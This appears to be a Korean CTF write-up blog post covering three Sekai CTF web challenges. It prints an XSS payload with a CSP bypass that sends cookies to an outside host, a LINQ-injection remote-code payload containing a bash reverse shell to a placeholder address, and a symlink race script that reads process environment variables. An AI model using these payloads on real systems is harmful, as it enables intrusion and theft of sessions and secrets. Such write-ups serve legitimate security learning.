처음으로 참가해본 Sekai CTF인데 처음 접속했을때 ui가 남달라서 너무 재밌게 풀었다.
문제난이도는 지금 실력에선 아직 좀 힘들었던것 같다.
일단 내가 푼 문제들 writeup을 올리겠다.
1. Tagless
말그대로 Tag를 못쓰는 문제이다. 저 message 부분에 글을쓰면 innerHTML로 값이 들어가 XSS취약점이 터진다.
그런데 app.js 코드를 보면은 왜 Tag를 못쓰는지 알 수 있다.
function sanitizeInput(str) {
str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '');
return str;
}
꺽쇠로 열고 닫힌 부분의 값을 전부 삭제하는 코드이다. 이부분은 가볍게 bypass할 수 있는데 그냥 열린채로 냅두거나 닫는 꺽쇠 뒤에 %0a 줄바꿈을 써줘서 우회할 수 있다.
열린채로 냅두는 경우엔 뒤에 <body> 태그의 '>' 문자가 닫는 부분을 대신 해줘서 가능하다. 그런데 난 좀 깔끔하게 볼려고 줄바꿈을 써서 했다.
그리고 하나 더 우회해야 하는데 바로 csp bypass이다.
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
처음엔 object 태그에 대한 부분이 없어서 object 태그로 접근할려 했는데 object 태그도 script-srf 'self'부분 때문에 막혔다.
그러면 사용할게 script-src가 self인 부분을 사용해야하는데 사이트에서 내가 입력한 값이 그대로 return되는 부분을 찾으면 그 부분을 코드로 사용할 수 있을 것이다.
app.py에서 그 부분을 찾을 수 있다.
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
예를 들어, /a에 접속하면 /a not found 이렇게 뜬다.
그러면 앞의 /는 에러가 나지않게 /a/.source; 이런식으로 해줬고 뒤의 not found는 // 주석으로 지워줬다.
/a/.source는 정규식을 문자로 쓴다는 표현이다.
그래서 아래와 같은 페이로드를 사용하면 cookie를 따오는 코드를 완성시킬 수 있다.
/alert(1)/.source;location.href=%27https://ikfqelw.request.dreamhack.games/%27%2bdocument.cookie//
그다음 url은 auto_input인자를 통해 넘길 수 있다.
function autoDisplay() {
const urlParams = new URLSearchParams(window.location.search);
const input = urlParams.get('auto_input');
displayInput(input);
}
최종 페이로드는 아래와 같다.
http://127.0.0.1:5000/?auto_input=<script%20src="/alert(1)/.source;location.href=%27https://ikfqelw.request.dreamhack.games/%27%2bdocument.cookie//"%0a></script%0a>
url=http%3a%2f%2f127.0.0.1:5000%2f%3fauto_input%3d%3cscript%2520src%3d%22%2falert(1)%2f.source%3bdocument.cookie=1;location.href%3d'https%3a%2f%2fucfzxtx.request.dreamhack.games/'%252bdocument.cookie;//%22%250a%3e%3c%2fscript%250a%3e
여기서 좀 뻘짓을 한게 있는데... 원래는 http://localhost:5000으로 접근해줬었다. 근데 localhost로 아무리해도 쿠키가 안따와지길래 127.0.0.1로 해봤는데 쿠키가 바로 따와져서 이유를 찾아보니 bot.py에서 127.0.0.1:5000 경로에다가 쿠키를 설정해줘서 그런것 같다....
self.driver.get("http://127.0.0.1:5000/")
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
FLAG : SEKAI{w4rmUpwItHoUtTags}
2. Intruder
일단 기능은 게시판 목록을 보는것과 업로드하는 두부분으로 나눠져있다.
근데 문제 설명에선 업로드하는 부분은 보안상 막아뒀다고 되어있었다. 실제로 업로드는 안되는듯 했다.
그리고 소스코드를 보면 dll 파일로 이루어져있다... 요즘 cce에서도 그렇고 ctf에서 dll파일을 좋아하는거 같은데.. 여튼 dotpeek으로 열어봤다.
까보면 별거 없었다. 볼 코드는 Book controller 코드 하나뿐이다.
Book List....
private const int ThrottleTimeWindowSeconds = 10;
private const int MaxRequestsPerThrottleWindow = 5;
private const int BlockDurationSeconds = 300;
private static Dictionary<string, BookController.UserSearchStats> _userSearchStats = new Dictionary<string, BookController.UserSearchStats>();
public IActionResult Index(string searchString, int page = 1, int pageSize = 5)
{
try
{
IQueryable<Book> source = BookController._books.AsQueryable<Book>();
if (!string.IsNullOrEmpty(searchString))
source = source.Where<Book>("Title.Contains(\"" + searchString + "\")");
int num = (int) Math.Ceiling((double) source.Count<Book>() / (double) pageSize);
List<Book> list = source.Skip<Book>((page - 1) * pageSize).Take<Book>(pageSize).ToList<Book>();
return (IActionResult) this.View((object) new BookPaginationModel()
{
Books = list,
TotalPages = num,
CurrentPage = page
});
}
catch (Exception ex)
{
this.TempData["Error"] = (object) "Something wrong happened while searching!";
return (IActionResult) this.Redirect("/books");
}
}
public IActionResult Add() => (IActionResult) this.View();
public IActionResult Detail(int id)
{
Book model = BookController._books.FirstOrDefault<Book>((Func<Book, bool>) (b => b.Id == id));
return model == null ? (IActionResult) this.NotFound() : (IActionResult) this.View((object) model);
}
private class UserSearchStats
{
public int RequestCount { get; set; }
public DateTime LastRequestTime { get; set; }
public DateTime BlockStartTime { get; set; }
}
}
}
코드의 윗부분은 book list를 집어넣는 부분이고 컨트롤러 코드는 아래 부분이 끝이다.
여기서 취약점을 찾아야하는데 딱히 취약점이라 생각할 부분이 source = source.Where<Book>("Title.Contains(\"" + searchString + "\")"); 이부분이었다.
이게 Books화면에서 title을 검색하면 title을 기준으로 책을 찾아주는 부분인데 마치 sql injection 하기 딱 좋게 생겼다.
그래서 여러가지 구문을 넣어보다가 ") || ("1"="1 이 페이로드가 ' or 1=1-- 이 sql injection 구문과 똑같은 기능을 했다.
그다음 여러가지 구글링을 해봤다. 얘로 뭐 테이블을 뒤져야하나 하던 도중 아주 흥미로운 cve를 발견했다.
https://github.com/Tris0n/CVE-2023-32571-POC/tree/main
저 source.Where이 Linq라는 걸 사용하는데 위의 github 취약한 코드를 보면 이 문제의 코드와 똑같이 생겼다.
그래서 바로 poc코드를 searchString param에 복붙해줬다.
") %26%26 "".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "/bin/bash;-c \"bash -i >%26 /dev/tcp/myip/myport 0>%261\"".Split(";".ToCharArray())).GetType().ToString() == ("
에러는 안뜨는걸 보니 작동하는 거 같긴 한데 내 ip로 쉘이 안불러와졌다....
여기서 뻘짓을 엄청했다. 페이로드가 작동 안하는 줄 알고 엄청 구글링도 해보고 다른 ip 주소로 해보고 한 3,4시간을 그렇게 보냈다.
그러다가 로컬에 직접 도커 돌려서 실행해봤는데 네트워크 에러로 쉘이 안불러와지는걸 확인할 수 있었다.
이게 아마 서버코드를 보면 프록시를 사용하고 있는데 이거때문에 안되는듯 싶었다.
# docker-compose.yml
services:
app:
image: intruder
container_name: intruder
build: .
networks:
- no_internet
proxy:
image: nginx:latest
container_name: intruder-proxy
ports:
- 8080:8080
volumes:
- ./proxy.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- no_internet
- external_access
depends_on:
- app
networks:
no_internet:
driver: bridge
internal: true
external_access:
driver: bridge
# proxy.conf
server {
listen 8080;
absolute_redirect off;
location / {
proxy_pass http://app:80/;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
그래서 다른 방법으로 할려고 wget, nc, curl등 해봤는데 전부 서버에 없었고 문득 떠오른 방법이 그냥 접근 가능한 경로에 새로 파일을 생성해주는 방법이었다.
현재 접근가능한 위치 중 하나가 ./wwwroot/img/covers 이기에 ls / > ./wwwroot/img/covers/a.txt 이 방식으로 해줬다.
") %26%26 "".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "/bin/bash;-c \"ls / > ./wwwroot/img/covers/a.txt\"".Split(";".ToCharArray())).GetType().ToString() == ("
아주 잘된다 ㅎㅎ 그다음 cat으로 flag 확인하면 끝이다.
FLAG : SEKAI{L1nQ_Inj3cTshio0000nnnnn}
3. Funny lfr
이거 풀다가 끝났다. 하루 꼬박 이것만 본거같은데 못풀었다....
일단 문제를 설명하자면 소스코드 자체는 심플하다.
FROM python:3.9-slim
RUN pip install --no-cache-dir starlette uvicorn
WORKDIR /app
COPY app.py .
ENV FLAG="SEKAI{test_flag}"
CMD ["uvicorn", "app:app", "--host", "0", "--port", "1337"]
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse
async def download(request):
return FileResponse(request.query_params.get("file"))
app = Starlette(routes=[Route("/", endpoint=download)])
FLAG 환경변수에 flag저장해놓고 app.py에선 file경로를 입력하면 file을 볼 수 있다.
그리고 이 문제는 ssh를 지원하는데 user권한으로 ssh를 들어갈 수 있다. 물론 root권한이 아니기에 environ을 출력할 수도 없고 권한이 없는 파일엔 접근하지 못한다.
CTF 종료하고 풀이보니깐 문제 제작자가 설계한 풀이법하고 살짝 다르게 풀었던데 일단 올라온 Writeup을 확인해보겠다.
- Solution : Symbolic link + Race Condition
RaceCondition과 심볼릭 링크를 사용하는 것이다. 나도 대회때 이 아이디어로 여러가지 실험해봤었는데 잘 안돼었다,
일단 원래는 파일을 볼 수 있으니 환경변수가 저장된 파일 /proc/self/environ, /proc/{pid}/environ 이런 파일을 볼려고 했는데 전부 확인할려고 들어가면 파일이 뜨지 않는다.
ex) /etc/passwd
ex) /proc/self/environ
/proc/self/environ일땐 왜 뜨지 않나 해서 Dockerfile의 로그를 확인해봤는데 아래와 같은 에러를 볼 수 있었다.
2024-08-26 12:49:36 h11._util.LocalProtocolError: Too much data for declared Content-Length
/proc/self/environ파일은 분명 그렇게 크지 않은 파일일텐데 왜 저런 오류가 날까??
일단 파일을 확인하는데 사용중인 모듈인 Starlette 모듈을 뜯어보았다.
Starlette 모듈에선 os.stat이 file 크기를 결정한다.
그리고 /proc/self/environ의 stat을 보면 다음과 같다.
분명 /proc/self/environ은 빈 파일이 아닌데 빈 파일이라고 나온다.
이유는 /proc 디렉터리가 사실 procfs라는 파일시스템이기 때문이다. 이 파일시스템은 가상의 파일시스템으로 실제로는 존재하지 않는 파일이다.
여기서 다른 분이 풀었던 아이디어는 os.stat의 심볼릭 링크에 레이스 컨디션이 있다는 아이디어였다.
만약 /proc/self/environ 보다 Content Length가 더 큰 임의의 파일에 심볼릭 링크를 만들었다가 이 심볼릭 링크의 연결된 파일을 /proc/self/environ으로 바꾸면 어떻게 될까?
이러면 서버는 심볼릭링크에서 Content-Length에 대한 오류를 내뱉고 대신 /proc/self/environ파일에서 읽을 것이다.
그래서 최종 정답은 아래와 같다.
먼저 SSH를 통해서 아래와 같은 sh파일을 만든다.
#! /bin/bash
echo -n $(printf 'A%.0s' {1..5000}) > /tmp/b/bruh
ln -s /tmp/b/bruh /tmp/b/asd
while true; do
ln -sf /proc/7/environ /tmp/b/asd
ln -sf /tmp/b/bruh /tmp/b/asd
done
우리가 접근 권한이 있는 폴더는 여러가지가 있지만 보통 /tmp 폴더는 모든 유저에게 접근권한이 있을 것이다.
그래서 /tmp/b/asd에다가 symlink로 A가 5000번 들어간 파일에 대해 연결시켜놓는다. 그다음 반복문을 통해 /proc/{pid}/environ파일로 중간중간 변경하게 해놓는다.
이 파일을 실행시키고 ssh에서 curl을 사용해 localhost/?file=/tmp/b/asd를 계속 받아오다보면은 어느 순간 운좋게 /proc/{pid}/environ이 반환될 것이다.
원래 이걸 생각해낸 사람은 /tmp/asd 이 경로에다가 만들려햇는데 /tmp폴더에 sticky bit? 때문에 심볼릭링크 권한이 denied 당해서 /tmp/b/ 라는 폴더를 하나 더 만들어서 해줬다고 한다.
지금 ssh가 없어서 실험은 못하지만 저걸 생각해낸게 대단하다 ㄷㄷㄷ (어떻게 이게 난이도 2단계?)
FLAG : SEKAI{b04aef298ec8d45f6c62e6b6179e2e66de10c542}
'Web Hacking > WriteUp' 카테고리의 다른 글
ASIS CTF 2024 Web Writeup (0) | 2024.09.22 |
---|---|
WhiteHat School 2nd CTF SSH Tunneling Final Writeup (0) | 2024.09.05 |
[CCE 2024] Advanced Login System WriteUp (0) | 2024.08.07 |
[CCE 2024] Web WriteUp (0) | 2024.08.05 |
[Sechack.kr] Shop WriteUp (0) | 2024.07.19 |